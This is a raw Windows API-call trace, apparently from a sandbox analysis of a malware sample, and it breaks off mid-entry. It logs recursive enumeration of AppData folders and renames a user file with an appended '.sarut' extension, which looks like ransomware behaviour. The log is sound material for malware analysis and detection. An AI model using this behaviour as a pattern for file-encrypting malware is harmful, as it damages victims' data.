[0272.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054800 [0272.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0272.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054800 | out: hHeap=0x640000) returned 1 [0272.284] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.sarut")) returned 1 [0272.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0272.285] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0272.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x300f168 | out: hHeap=0x640000) returned 1 [0272.287] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce824760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce824760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe5ab8070, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0272.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd6) returned 0x300f168 [0272.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.287] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="" [0272.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x300f168 | out: hHeap=0x640000) returned 1 [0272.287] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0272.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115858 [0272.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c) returned 0x3076e18 [0272.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115900 [0272.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115858 | out: hHeap=0x640000) returned 1 [0272.288] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 0 [0272.288] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0272.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0272.288] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115858 [0272.288] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.288] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.289] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0272.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.290] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.290] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.291] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0272.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.292] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.293] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0272.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f58 [0272.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0272.293] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0272.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082288 [0272.293] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0272.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0272.293] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0272.293] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.293] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0272.294] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0272.294] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.294] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.294] PathFindFileNameW (pszPath="") returned="" [0272.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0272.294] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.295] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.295] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0272.295] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0 [0272.295] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.295] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.295] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.296] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="Content\\" [0272.296] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0272.296] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0272.296] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.296] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.296] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.296] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.296] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.296] PathFindFileNameW (pszPath="") returned="" [0272.296] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.299] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.300] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0272.300] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0272.300] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0272.300] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0272.300] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0272.300] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0272.300] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, 